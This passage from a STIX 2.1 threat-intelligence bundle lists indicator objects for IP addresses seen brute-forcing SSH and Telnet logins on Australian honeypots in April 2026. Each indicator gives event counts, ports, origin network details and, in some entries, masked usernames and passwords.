      "modified": "2026-04-13T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.96.160.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:15:04.000Z",
      "valid_until": "2026-05-15T02:15:02.000Z"
    },
    {
      "created": "2026-04-13T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--913fd7b8-9083-44bb-9278-241f38d35fbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:15:04.000Z",
      "valid_until": "2026-05-15T02:15:02.000Z"
    },
    {
      "created": "2026-04-13T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u, s**v, s****a. Passwords observed (masked): 1****6, 1******8, ***, 1**4, j**o.",
      "id": "indicator--4b6cc609-cdd6-4741-a5a5-fd674fa7cf39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:15:04.000Z",
      "valid_until": "2026-05-15T02:15:02.000Z"
    },
    {
      "created": "2026-04-13T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--ed01af33-6686-4153-af7a-3b039cdb1e05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.52.108.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:15:10.000Z",
      "valid_until": "2026-05-15T03:15:08.000Z"
    },
    {
      "created": "2026-04-13T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 152565. Organisation(s): JOY SERVICES.",
      "id": "indicator--e52d430f-491e-4cdf-9fce-b0a852260b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.101.251.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:15:10.000Z",
      "valid_until": "2026-05-15T03:15:08.000Z"
    },
    {
      "created": "2026-04-13T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): 1****3. Passwords observed (masked): 1****3.",
      "id": "indicator--c0e2f7bb-3747-4740-bc02-7c8a116e9376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.30.48.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:15:10.000Z",
      "valid_until": "2026-05-15T03:15:08.000Z"
    },
    {
      "created": "2026-04-13T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:15:03.000Z",
      "valid_until": "2026-05-15T04:15:01.000Z"
    },
    {
      "created": "2026-04-13T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--082e2679-81be-4154-8cc2-a11c63c9e885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.169.53.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:15:03.000Z",
      "valid_until": "2026-05-15T04:15:01.000Z"
    },
    {
      "created": "2026-04-13T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc0f1455-1436-4447-8632-d3dca1fd6776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:15:03.000Z",
      "valid_until": "2026-05-15T04:15:01.000Z"
    },
    {
      "created": "2026-04-13T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--76ad4d85-a878-4b0d-b52e-65ca380a3b09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:15:03.000Z",
      "valid_until": "2026-05-15T04:15:01.000Z"
    },
    {
      "created": "2026-04-13T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a01d4c52-cd13-4719-a03c-f99991107e8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.214.181.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:15:03.000Z",
      "valid_until": "2026-05-15T04:15:01.000Z"
    },
    {
      "created": "2026-04-13T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): t**t, u****u. Passwords observed (masked): S*****!, q*******!.",
      "id": "indicator--e19fbac1-0cee-4230-9199-e72f18663190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.205.185.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:15:04.000Z",
      "valid_until": "2026-05-15T06:15:02.000Z"
    },
    {
      "created": "2026-04-13T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 54994. Organisation(s): Meteverse Limited.. Usernames observed (masked): r**t, u**r, 3**********4, ***, s***m. Passwords observed (masked): 3***********4, 3**********4, 0******4, 1****1, 1*******e.",
      "id": "indicator--ebdf15ef-0426-40eb-b305-0b8d4fe881d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.110.195.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:15:04.000Z",
      "valid_until": "2026-05-15T06:15:02.000Z"
    },
    {
      "created": "2026-04-13T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): r**t, e*****c, s****r, u**r, 3**********4. Passwords observed (masked): ***, 1******R, 2*********#, 3***********4, 3**********4.",
      "id": "indicator--afc5a7bd-8304-495e-b880-aa57c0a61cb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.240.193.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:15:04.000Z",
      "valid_until": "2026-05-15T06:15:02.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132934. Organisation(s): Skymax Broadband Services Pvt. Ltd..",
      "id": "indicator--158387b4-9646-496a-9585-1f441df79920",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.237.157.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--a4ce8a10-f3a7-4f8c-90b3-9a5f4a384625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.45.29.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 199785. Organisation(s): Cloud Hosting Solutions, Limited.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--848129b7-47a4-4634-809d-474fb8985b0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.81.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--ff9acfa1-6970-4bb4-989f-e56b6ab5a200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.141.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b79f1684-89af-4270-8381-4212d8c908e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.29.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2819bfde-faf7-4e1d-bff4-28b4d10455c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--62bcbbcb-a448-49df-ade1-c6de52a56137",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--526f3a43-20d1-4973-aa2c-a8c51123cc05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d6bfb613-1de8-451a-8cf2-accaf6e90ae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:15:14.000Z",
      "valid_until": "2026-05-15T07:15:12.000Z"
    },
    {
      "created": "2026-04-13T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--a7e887ae-4630-4f34-9b53-1d1db3dc7047",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.47.238.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:15:04.000Z",
      "valid_until": "2026-05-15T08:15:02.000Z"
    },
    {
      "created": "2026-04-13T09:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--31c2cabd-a662-4d84-b230-9374a293f3d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T09:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.64.184.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:15:07.000Z",
      "valid_until": "2026-05-15T09:15:02.000Z"
    },
    {
      "created": "2026-04-13T09:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): r**t. Passwords observed (masked): s****3.",
      "id": "indicator--c3bd2a7c-2ab6-47ef-a34b-64af76c1ee03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T09:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:15:07.000Z",
      "valid_until": "2026-05-15T09:15:02.000Z"
    },
    {
      "created": "2026-04-13T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 153413. Organisation(s): HT3 VIETNAM TECHNOLOGY INVESTMENT AND DEVELOPMENT JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4, e******r, ***, t*******k. Passwords observed (masked): 3***********4, 3**********4, !**********4, 1******8, 1**************v.",
      "id": "indicator--0115c751-eac3-430c-beaf-bc079d8b8784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.159.54.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:15:03.000Z",
      "valid_until": "2026-05-15T10:15:02.000Z"
    },
    {
      "created": "2026-04-13T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, f**e, p******s. Passwords observed (masked): 3***********4, 3**********4, 0******0, 1**1, 1**4.",
      "id": "indicator--0bfaa667-6182-4375-ba99-f70f38feffea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.191.92.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:15:03.000Z",
      "valid_until": "2026-05-15T10:15:02.000Z"
    },
    {
      "created": "2026-04-13T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e0158d80-1bd2-4da6-80bb-267060948ce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.75.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:15:03.000Z",
      "valid_until": "2026-05-15T10:15:02.000Z"
    },
    {
      "created": "2026-04-13T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): r**t, 3**********4, e******r, f****e, ***. Passwords observed (masked): 3**********4, 1**************v, 6****1, A***********2, F*******!.",
      "id": "indicator--7b89581d-0fad-431d-bf76-b955fbb3ac22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.0.63.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:15:03.000Z",
      "valid_until": "2026-05-15T10:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--f4bd26f2-cf4e-4f41-ad87-ac8a374ee571",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.214.29.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135967. Organisation(s): Bach Kim Network solutions Join stock company. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--c69299df-f02a-4fc4-8624-d68bebda9214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.161.16.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): r*****3.",
      "id": "indicator--67026032-d76b-472d-b28a-99c239a19695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.232.224.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--973c358b-0099-4494-b4ef-41fb71095d13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.212.167.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, 3**********4, ***, e*****a, f*****r. Passwords observed (masked): 3***********4, 3**********4, !**********e, 1******R, 1**4.",
      "id": "indicator--dc40de0e-e0e2-4e90-b1bd-03ce0787f77d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.167.144.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
      "labels": [
